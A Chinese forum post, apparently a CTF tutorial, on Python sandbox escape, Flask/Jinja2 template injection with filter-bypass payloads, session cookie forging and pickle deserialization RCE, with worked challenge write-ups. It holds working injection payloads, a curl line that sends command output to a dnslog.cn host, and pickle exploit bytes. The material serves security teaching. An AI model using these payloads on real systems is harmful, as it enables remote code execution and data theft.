电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 2371 人浏览分享

聊一聊我认识的Python安全

[复制链接]
2371 0
0x00 前言

在CTF比赛中 Python的题目种类也越来越多。记得之前遇到Python题目的模板注入反序列化题目笔者都会抄一下网上的
Payload然后获取flag。但吃鸡腿,不知道鸡腿从何而来,是无法品尝到其中的美味的~ 本篇文章以笔者的角度来描述一
下这盘子中的美味 来刨析出鸡腿的腿有多么性感。并且笔者会将Python 2 与 Python 3结合 没有下酒菜的酒局是没有味
道的整篇文章共5700字,供大家阅读体会。

0x01 沙箱逃逸原理及利用

相信大家在抄Payload的时候会发现 明明只有笔者抄 T.T 关于SSTI的Payload都是很长一大串 例如:

QQ截图20210709144703.png

这是一个典型的文件读取Payload。可是我们现在并不知道原理 那么跟着笔者一步一步尝试来获取它其中的秘密吧!

一:刨析原理

首先我们需要理解一下Python的几种数据类型 笔者这里将常见数据类型放入一个列表中再进行依次打印 例如:

Python3:

QQ截图20210709144823.png

Python2:

999.png

我们可以看到 使用type来进行检查数据类型时 会返回 <class 'XXX'> 那么我们会注意到XXX前的class 在编程
语言中class是用来定义类的。是的 没错 在Python中 一个字符串则为str类的对象 一个整形则为int类的对象
一个浮点数据则为float的对象...

我们可以通过id来看一下这些对象的编号是多少 如图:

998.png

得出首条结论:在Python中,一切皆对象。
那么知道这些有什么用呢?一个对象则存在属性与方法我们可以通过dir来进行查看
如图(这里用普通字符串来进行举例):

997.png

我们可以看到字符串python2与python3都返回了upper 我们知道upper是一个函数
那么我们使用一下该方法。如图:

996.png

因为在Python中一切都是对象 所以方法与类也是对象 如图:

993.png

我们现在缺少的只是方法与类的调用而已 文章中不再描述如何调用。

那么现在问题就出来了 我们知道Python中存在数据类型 这些数据类型它们都是一个类 我们是怎么找到这个类并实例
化出来它们的?又或者说 在Python中存在一些函数 我们是怎么找到它们并调用的?如何查找到是当前的一个问题。
我们可以通过globals函数来进行查看(globals是获取当前可访问到的变量):

992.png

我们可以看到我们定义的变量a已经放入到globals函数当中了 我们可以看到有__builtins__这样一个变量它是一个
模块并且模块名在Python2中命名为__builtin__在Python3中又重新命名为了builtins。
我们使用dir看一下该模块中所存在的一些内容。

991.png

我们可以看到 我们所使用的基础方法都存放在该模块中 我们使用该模块调用
一下print函数来进行测试。

990.png

我们可以看到 在Python3中返回正常,Python2却抛出异常 这是因为在Python2中print为一个
语句在Python3中它换成了一个函数。
得出第二条结论:在Python2/3中 任何基础类以及函数都存放在__builtin__/builtins模块中。
那么如果我们通过一些方式,可以定位到__builtin__ / builtins模块 那岂不是可以进行进行调用任意函数了。
现在的问题是我们该怎么定位。

我们知道builtins是存放在globals函数中的 与变量的作用域是有关系的 谈到变量的
作用域 我们会想到一个玩意:自定义方法。
我们可以自定义一个方法,将它视为一个对象 使用dir看一下它下面的成员属性。

如图:

899.png

果然 在一个普通方法中是存在__globals__这么一个成员属性的 我们可以打印它看一下。

898.png

我们可以看到 __globals__ 就是 globals() 函数的返回值 同理 它们下面都存在 __builtins__ 变量 我们可以使用
函数.__globals__['__builtins__']恶意函数() 来执行一下eval。如图:

897.png

我们可以看到 eval被我们成功执行!
而方法也是可以定义在类中的 我们简单定义一个类 并且定义一个__init__魔术方法
__init__是魔术方法 该方法在被类创建时自动调用。

896.png

我们可以看到同样是可以调用eval的。

如果我们不定义__init__会怎么样呢?我们可以看一下。

893.png

可以看到 在Python2中会报错 而python3中会返回slot。不定义__init__是不可以访问到
__globals__成员属性的 如图:

892.png

我们再看一下模块中的方法与当前都有什么区别。

891.png

这里区别就很明显了 这里 模块中的方法 中__globals__[__builtins__]中的所有内容都被存放入
一个字典中才可以进行调用。我们调用一下eval来进行测试 如图:

890.png

当然我们可以使用__import__函数调用os来进行执行命令 如图:

699.png

我们可以看到whoami被成功调用。

得出第三条结论:我们可以通过一个普通函数(或类中已定义的方法)对象下的__globals__成员属性来得到
builtins__从而执行任意函数 这里要注意的是模块与非模块下的__globals__的区别。
那么实际场景中 根本没有这样一个方法给我们利用。我们应该怎么做?
我们使用dir看一下普通类型(int,str,bool....)的返回结果。如图:

698.png

我们查看一下__class__的内容。如图:

697.png

可以看到通过__class__成员属性可以得到当前对象是XXX类的实例化。

在Python中 所有数据类型都存放于Object一个大类中 如图:

696.png

我们可以通过__bases__/__mro__/__base__来得到object 如图:

692.png

可以看到在python2中并没有直接返回object 我们可以再次访问__bases__就可以得到object了,如图:

691.png

那么通过__subclasses__即可得到object下的所有子类 如图:

690.png

下面我们就可以来依次判断这些类中是否定义__init__(或其他魔术方法)方法 如果定义 那么就可以拿到__init__
或其他魔术方法 下的__globals__[“__builtins__”]从而执行任意函数 编写脚本进行测试:

689.png

可以看到这些类都是可以进行利用的类。当然 也可以使用其他魔术方法
这里举例__delete__魔术方法,如图:

688.png

得出第四条结论:我们可以通过普通数据类型的__class__成员属性得到所属类 再通过__bases__/__base__/__mro__可以
得到object类 再次通过__subclasses__()来得到object下的所有基类,遍历所有基类检查是否存在指定的魔术方法 如果
存在那么即可获取__globals__[__builtins__]就可以调用任意函数了。
如上总结在Python2/3中都是可以进行利用的 只是在Python2中多了一种file的姿势。

如图:

687.png

只是file在Python3中被移除了,故Python3中没有此利用姿势。

二:flask模板注入

沙箱逃逸通常与flask的模板注入紧密联系 模板中存在可以植入表达式的可控点那么就会存在SSTI问题。

存在漏洞的代码:
  1. from flask import Flask,render_template,request,render_template_string,session
  2. from datetime import timedelta
  3. app = Flask(__name__)
  4. app.config['SECRET_KEY'] = 'hacker'
  5. app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days=7)
  6. @app.route('/test',methods=['GET', 'POST'])
  7. def test():
  8. content = request.args.get("content")
  9. template = '''
  10. <div>
  11. <h1>Oops! That page doesn't exist.</h1>
  12. <h3>%s</h3>
  13. <h4>Your Money : %s</h4>
  14. </div>
  15. ''' %(content, session.get('money'))
  16. return render_template_string(template)
  17. @app.route('/sess')
  18. def t():
  19. session['money'] = 100
  20. return '设置金额成功...'
  21. if __name__ == '__main__':
  22. app.debug = True
  23. app.run()
复制代码

在/test路由中存在模板注入漏洞 那么我们可以通过传递payload:
?content={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['__import__']('os').
popen('whoami').read()}} 来进行执行任意命令(__subclasses__可利用的键值可以通过Burp从1-999进行爆破
出结果 这里得到80可以被利用)如图:

686.png

至此,我们完成了首次模板注入。

但是成熟的模板注入类的题目它会进行一些过滤的。这里简单总结一下。

三:过滤问题总结

这里简单记录一下模板注入中的一些过滤的绕过。

过滤中括号

我们知道__subclasses__()返回一个列表 __globals__返回一个字典 而列表的访问语法与字典的
访问语法需要借助于中括号 如果将中括号过滤 那么我们怎么办呢?
我们使用dir来查看一下“正常的列表/正常的字典”下的成员属性及方法 如图:

100.png

可以看到存在__getitem__方法。

进行调用:

99.png

当然 字典的访问也是可以通过__getitem__方法来进行绕过pop方法也可以被利用。

过滤引号

如果过滤引号 我们岂不是不可以进行模板注入了?
引号则表示str类型的数据 而str类型的数据可以通过变量来表示 这里可以借助于
flask中request.args对象来作为变量 以get传递进行赋值。
构造Payload:
  1. ?content={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__[request.args.__built
  2. ins__][request.args.__import__](request.args.os).popen(request.args.whoami).read()}}&__bu
  3. iltins__=__builtins__&__import__=__import__&os=os&whoami=whoami
复制代码

如图:

98.png

成功执行命令。

过滤双下划线

由于在jinja2中允许 对象[属性] 的方式来访问成员属性 如图:

96.png

此时的属性放置的内容为字符类型 我们可以通过request.args全程代替。

构造Payload:
  1. ?content={{[][request.args.class][request.args.base][request.args.subclasses]()[80][request.args.init][request.arg
  2. s.globals][request.args.builtins][request.args.import](request.args.os).popen(request.args.whoami).read()}}&bu
  3. iltins=__builtins__&import=__import__&os=os&whoami=whoami&class=__class__&base=__base__&subclasse
  4. s=__subclasses__&init=__init__&globals=__globals__
复制代码

如图:

92.png

当然 也可以通过字符串拼接的方式 构造Payload:

?content={{[]['_'+'_class_'+'_']}} 结果如下:

91.png

过滤{{}}

{{}}通常来表示一个变量 而{%%}则表示为流程语句 虽然不可以回显内容
但是我们可以通过curl来进行外带数据。

Payload:
  1. ?content={% if ''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['__im
  2. port__']('os').popen('curl http://w9y7rp.dnslog.cn/?test=`whoami`').read() !=1 %}1{% endif %}
复制代码

自定义一个web服务即可接收到 笔者这里使用的是dnslog 得不到发出的参数。如图:

90.png

当然反弹shell也是一种不错的姿势 这里就不再描述了。

四:flask的一些其他问题

Python的session值篡改攻击

在CTF考点中还存在一种身份伪造类的题目。我们看一下该代码块的sess路由 如图:
  1. from flask import Flask,render_template,request,render_template_string,session
  2. from datetime import timedelta
  3. app = Flask(__name__)
  4. app.config['SECRET_KEY'] = 'hacker'
  5. app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days=7)
  6. @app.route('/test',methods=['GET', 'POST'])
  7. def test():
  8. content = request.args.get("content")
  9. template = '''
  10. <div>
  11. <h1>Oops! That page doesn't exist.</h1>
  12. <h3>%s</h3>
  13. <h4>Your Money : %s</h4>
  14. </div>
  15. ''' %(content, session.get('money'))
  16. return render_template_string(template)
  17. @app.route('/sess')
  18. def t():
  19. session['money'] = 100
  20. return '设置金额成功...'
  21. if __name__ == '__main__':
  22. app.debug = True
  23. app.run()
复制代码

我们可以看到,这里定义了session[money]=100。当我们访问/sess时 服务端
就会返回一个jwt给我们 如图:

89.png

可以看到session是以jwt来进行存储的,而使用jwt存储是有危害的。
关于jwt的解释:https://www.j**u.com/p/576dbf44b2ae
只要我们获取SECRET_KEY 那么该JWT是可以进行伪造的。
问题是我们如何进行获取SECRET_KEY?

第一种:通过SSTI的{{config}}

如图:

88.png

我们可以看到 {{config}}是可以窃取出SECRET_KEY。

第二种:通过Linux中的/proc/self/environ
这种姿势我们会在CTF小结 中的一道叫做 [PASECA2019] honey_shop 的题目所记载
它需要任意文件读取的姿势才可以进行得到SECRET_KEY。


第三种:爆破

有一道叫做[CISCN2019华北赛区 Day1 Web2]ikun 的题目涉及到了这种姿势
其中又提到了Python反序列化这里奉上WriteUp:
https://blog.csdn.net/weixin_43345082/article/details/97817909

我们可以通过flask-session-cookie-manager工具来生成恶意的JWT即可完成身份伪造工具
GitHub:https://github.com/style-404/flask-session-cookie-manager。
首先我们对当前的JWT进行base64解码 如图:
对于反序列化 笔者会在0x02中进行描述。

86.png

这里可以得出一条JSON数据过来 那么我们使用flask-session-cookie-manager工具
借助SECRET_KEY来将money篡改为999.
工具使用:python3 flask_session_cookie_manager3.py encode -s "secret_key" -t "json"

83.png

修改本地的session值 随后访问/test查看结果。

82.png

可以看到成功篡改money的值。

基于DEBUG的PIN码攻击
它所利用的条件为 任意文件读取+flask的DEBUG模式。
参考文章:https://xz.aliyun.com/t/2553
这里就不再做演示了

五:部分CTF题目实例

Real -> [Flask]SSTI

这道题是比较基础的一道题目 无任何过滤 我们直接进行注入即可。

81.png

可以看到表达式被正常解析 那么继续往下操作即可。

构造Payload:
  1. ?name={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__['__built
  2. ins__']['__import__']('os').popen('ls /').read()}}
复制代码

命令执行结果如图:

80.png

WEB -> [GYCTF2020]FlaskApp
该题目有两个功能 Base64加密与Base64解密 在Base64解密处存在模板注入。

题目如图:

79.png

解密结果:

78.png

由此得知存在ssti。

经过测试 得知75存在可利用的function为__init__如图:

69.png

提交后:

68.png

但继续往下构造攻击链时 发现过滤了一些敏感关键字 使用open进行读取源码:

67.png

源码过滤如图:

66.png

我们可以看到万恶的request也被过滤了 但是这里我们可以使用字符拼接来进行绕过popen可以使用中括号加字
符拼接的方式进行调用,那么构造Payload:{{[].__class__.__base__.__subclasses__()[75].__init__.__globals__[
builtins__']['__imp'+'ort__']('o'+'s')['po'+'pen']('ls /').read()}}
编码为base64后提交查看一下结果:

63.png

存在flag关键字 导致我们无法读取 这里我们可以通过命令执行的绕过姿势 \\ 来进行绕过
再次构造Payload:
  1. {{[].__class__.__base__.__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'or
  2. t__']('o'+'s')['po'+'pen']('cat /this_is_the_fl\\ag.txt').read()}}
复制代码

编码为base64后进行提交:

62.png

WEB -> [CSCCTF 2019 Qual]FlaskLight
打开题目源码发现提示参数 search

61.png

那么我们可以通过?search={{2*3}}来查看一下结果。

60.png

可以看到6弹我们一脸 那么此处存在ssti。

__subclasses__丢进Burp进行爆破键值 如图:

39.png

得出下标为59的__init__魔术方法可以被利用 如图:

38.png

构造Payload至__globals__发现被过滤 简单访问一下 真的返回500 如图:

36.png

可以使用request.arg.x 来进行绕过 构造Payload:
  1. ?search={{[].__class__.__base__.__subclasses__()[59].__init__[request.args.g]['__buil
  2. tins__']['__import__']('os').popen('ls /flasklight').read()}}&g=__globals__
复制代码

查看结果:

32.png

再次构造Payload读取flag:
  1. ?search={{[].__class__.__base__.__subclasses__()[59].__init__[request.args.g]['__builtins__']['__imp
  2. ort__']('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}&g=__globals__
复制代码

如图:

31.png

WEB -> [pasecactf_2019]flask_ssti

查看源代码 发现Ajax请求:

28.png

笔者在构造Payload时 发现过滤了 单引号(‘)点(.) 下划线(_) 那么我们可以通过双引
号来解析变量,并且使用16进制代替下划线即可。

如图:

26.png

构造Payload来进行爆破下标:
  1. ?nickname={{[]["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbase\x5F\x5F"]["\x5F\x5Fs
  2. ubclasses\x5F\x5F"]()[§80§]["\x5F\x5Finit\x5F\x5F"]}}
复制代码

发现下标为91的__init__方法可以被利用 如图:

22.png

构造Payload执行命令:
  1. ?nickname={{[]["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbase\x5F\x5F"]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]
  2. ["\x5F\x5Finit\x5F\x5F"]["\x5F\x5Fglobals\x5F\x5F"]["\x5F\x5Fbuiltins\x5F\x5F"]["\x5F\x5Fimport\x5F\
  3. x5F"]("os")["popen"]("\x63\x61\x74\x20\x2f\x70\x72\x6f\x63\x2f\x73\x65\x6c\x66\x2f\x63\x77\x64\x
  4. 2f\x61\x70\x70\x2e\x70\x79")["read"]()}}
复制代码

其中
  1. \x63\x61\x74\x20\x2f\x70\x72\x6f\x63\x2f\x73\x65\x6c\x66\x2f\x6
  2. 3\x77\x64\x2f\x61\x70\x70\x2e\x70\x79
复制代码

为 cat /proc/self/cwd/app.py 这里转换可以使用笔者已经写好的脚本:
  1. payload = b'cat /proc/self/cwd/app.py'
  2. string = payload.hex()
  3. result = ''
  4. for i in range(0, len(string), 2):
  5. result += '\\x' + string[i:i+2]
  6. print(result)
复制代码

结果如图:

21.png

可以看到flag文件被os删掉了 但是flag的值被存放于app.config当中 并且经过了
encode函数处理 我们可以看一下encode函数的定义:

20.png

是使用的异或算法 那么现在我们只需要从config中拿到加密后的flag值并且
将它再次执行一下encode函数即可得到flag。

19.png

再次执行函数

18.png

则得到flag。

WEB -> [PASECA2019]honey_shop

该题目属于JWT身份伪造攻击,首先我们打开主页 可以看到金额为1336 如图:

17.png

而flag需要1337

16.png

在/download路由下存在文件下载 猜测存在任意文件下载 那么我们下载../../../../../../../../../p
roc/self/environ来进行观察 如图:

15.png

成功下载到并拿到SECRET_KEY 然后我们对当前网址的jwt使用base64进行解密 得出:

12.png

伪造为:{"balance":1338,"purchases":[]} 即可购买flag了。

11.png

0x02 Python反序列化漏洞利用

原理文章推荐
因为在知乎有位师傅写的非常不错,那么笔者在这里也不去班门弄斧。

传送门:https://zhuanlan.zhihu.com/p/89132768

这里做一下总结 并且对一种利用姿势扩大成果 然后分享一道有意思的例题。

Python反序列化能干什么?

R指令码的RCE

Python的反序列化比PHP危害更大 可以直接进行RCE。

编写测试脚本:
  1. import pickle, os, base64
  2. class Exp(object):
  3. def __reduce__(self):
  4. return (os.system, ('dir',))
  5. with open('./hacker.txt', 'wb') as fileObj:
  6. pickle.dump(Exp(), fileObj)
复制代码

会在当前目录生成hacker.txt 内容为序列化的值。如图:

10.png

我们再次使用pickle进行反序列化即可执行dir命令。

9.png

这里可以看到成功执行了dir命令。

c指令码的变量获取

当R指令码被禁用后 我们可以采取这种姿势来获取变量。

在当前目录下创建flag.py文件 并且存放一个flag变量 当作模块来进行使用。如图:

8.png

编写获取flag变量的脚本:
  1. import flag, pickle
  2. class Person():
  3. pass
  4. b = b'\x80\x03c__main__\nPerson\n)\x81}(Vtest\ncflag\nflag\nub.'
  5. print(pickle.loads(b).test)
复制代码

主要思路为:cflag\nflag\n当作test属性的value值压进了前序栈的空dict 随后使用b覆盖了
Person类的__dict__成员属性 导致了变量被窃取。
我们可以看到pickle.loads返回的对象下的test就是flag的值如图:

7.png

c指令码的变量修改

当R指令码被禁用后并且find_class函数只允许获取__main__中的变量时
我们可以采取这种姿势来修改任意变量。
在原理文章中并没有提到一种姿势 而有一种姿势也是可以进行利用的
我们先按照原理文章来测试一遍。

测试脚本:
  1. import flag, pickle
  2. class Person():
  3. pass
  4. b = b'\x80\x03c__main__\nflag\n}(Vflag\nVhacker\n
  5. ub0c__main__\nPerson\n)\x81}(Va\nVa\nub.'
  6. pickle.loads(b)
  7. print(flag.flag)
复制代码

主要思路为:使用c将flag模块导入进来 通过ub来更新flag模块的__dict__属性 故可以恶意修改变量的值。

查看结果:

6.png

我们可以看到 flag包中的flag变量被成功修改。
那么在反序列化中 一个普通字符串也是可以当作一种数据来进行序列化的所以
这里并不需要Person的类支撑即可完成变量修改。
修改脚本如下:
  1. import flag, pickle
  2. b = b'\x80\x03c__main__\nflag\n}(Vflag\nVhacker\nub0Va\n.'
  3. print(pickle.loads(b))
  4. print(flag.flag)
复制代码

结果:

5.png

那么就成功篡改了flag包中的flag变量的内容。

__setstate__ 特性 RCE

编写测试脚本:
i
  1. mport flag, pickle
  2. class Person():
  3. pass
  4. b = b'\x80\x03c__main__\nobject\n)\x81}(V__setstate__\ncos\nsystem\nubVdir\nb.'
  5. print(pickle.loads(b))
复制代码

主要思路为:借助于__setstate__的特性造成了RCE。

执行结果:

4.png

可以看到成功执行了dir命令。

近看一道ssrf+反序列化+SSTI的例题

这道题是朋友很早之前就留下来的 在网上也找不到现成的反序列化题目就用它好了。

题目代码是这样的:
  1. from flask import Flask,render_template
  2. from flask import request
  3. import urllib
  4. import sys
  5. import os
  6. import pickle
  7. import ctf_config
  8. from jinja2 import Template
  9. import base64
  10. import io
  11. app = Flask(__name__)
  12. class RestrictedUnpickler(pickle.Unpickler):
  13. def find_class(self, module, name):
  14. if module == '__main__':
  15. return getattr(sys.modules['__main__'], name)
  16. raise pickle.UnpicklingError("only __main__")
  17. def get_domain(url):
  18. if url.startswith('http://'):
  19. url = url[7:]
  20. if not url.find("/") == -1:
  21. domain = url[url.find("@")+1:url.index("/",url.find("@"))]
  22. else:
  23. domain = url[url.find("@")+1:]
  24. print(domain)
  25. return domain
  26. else:
  27. return False
  28. @app.route("/", methods=['GET'])
  29. def index():
  30. return render_template("index.html")
  31. @app.route("/get_baidu", methods=['GET'])   # get_baidu?u
  32. rl=http://127.0.0.1:8000/?@www.baidu.com/
  33. def get_baidu():
  34. url = request.args.get("url")
  35. if(url == None):
  36. return "please get url"
  37. if(get_domain(url) == "www.baidu.com"):
  38. content = urllib.request.urlopen(url).read()
  39. return content
  40. else:
  41. return render_template('index.html')
  42. @app.route("/admin", methods=['GET'])
  43. def admin():
  44. data = request.args.get("data")
  45. if(data == None):
  46. return "please get data"
  47. ip = request.remote_addr
  48. if ip != '127.0.0.1':
  49. return redirect('index')
  50. else:
  51. name = base64.b64decode(data)
  52. if b'R' in name:
  53. return "no __reduce__"
  54. name = RestrictedUnpickler(io.BytesIO(name)).load()
  55. if name == "admin":
  56. t = Template("Hello " + name)
  57. else:
  58. t = Template("Hello " + ctf_config.name)
  59. return t.render()
  60. if __name__ == '__main__':
  61. app.debug = False
  62. app.run(host='0.0.0.0', port=8000)
复制代码

在45行中存在一个判断。
  1. if(get_domain(url) == "www.baidu.com"):
  2. content = urllib.request.urlopen(url).read()
  3. return content
复制代码

如果进入到该分支则调用至urllib.request.urlopen函数那么我们看一下get_domain
方法是逻辑是怎么样的。

3.png

在27行中出现了漏洞问题 如果url中存在 / 则返回@符号往后的内容 那么这里存在一个伪造的情况
例如:http://127.0.0.1:3306/?@www.baidu.com/,
则会匹配到www.baidu.com/ 但是实际发送出的HTTP请求还是发送至127.0.0.1身上
所以说这里存在一个SSRF漏洞问题。
而在51-68行中确实验证了访问者的IP
这里可以使用SSRF进行绕过 如图:

2.png

61行禁用了R指令 则表示不可以使用__reduce__进行命令执行操作 可以看到63行实例化了
RestrictedUnpickler类 而该类则继承了pickle.Unpickler类 如图:

1.png

同时重写了find_class的方法 这时c指令只可以进行导入本地模块。而类名中存在 R关键字 则无法
进行__setstate__姿势的RCE 这里利用方式只剩下一种:c指令码的变量修改。
但是变量修改有什么用呢?我们可以注意到第67行的ctf_config包下的name变量 如图:

0.png

直接将变量的值拼接到Template方法中这里存在一个SSTI注入问题。
那么思路就有了:通过get_data路由发送SSRF请求->admin路由接收进行反序列化->修
改ctf_config下的name属性为SSTI注入语句->实现RCE。
那么编写POC脚本:
  1. import base64
  2. ssti = b'2*6'
  3. payload = b'\x80\x03c__main__\nctf_config\n}(Vname\nV{{' + ssti + b'}}\nub0V123\n.'
  4. payload = base64.b64encode(payload).decode('utf-8')
  5. print(payload)
复制代码

传递Payload:
http://127.0.0.1:8000/get_baidu?url=http://127.0.0.1:8000/admi
n?data=SSTI的值%26@www.baidu.com/
如图:

00.png

成功进行SSTI注入 笔者发现__subclasses__()的第81下标存在可利用的function
那么这里直接执行whoami:

000.png

可以看到成功执行了 whoami。

0x03 尾巴

无聊的话 就一起来玩会Python吧。

.png

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.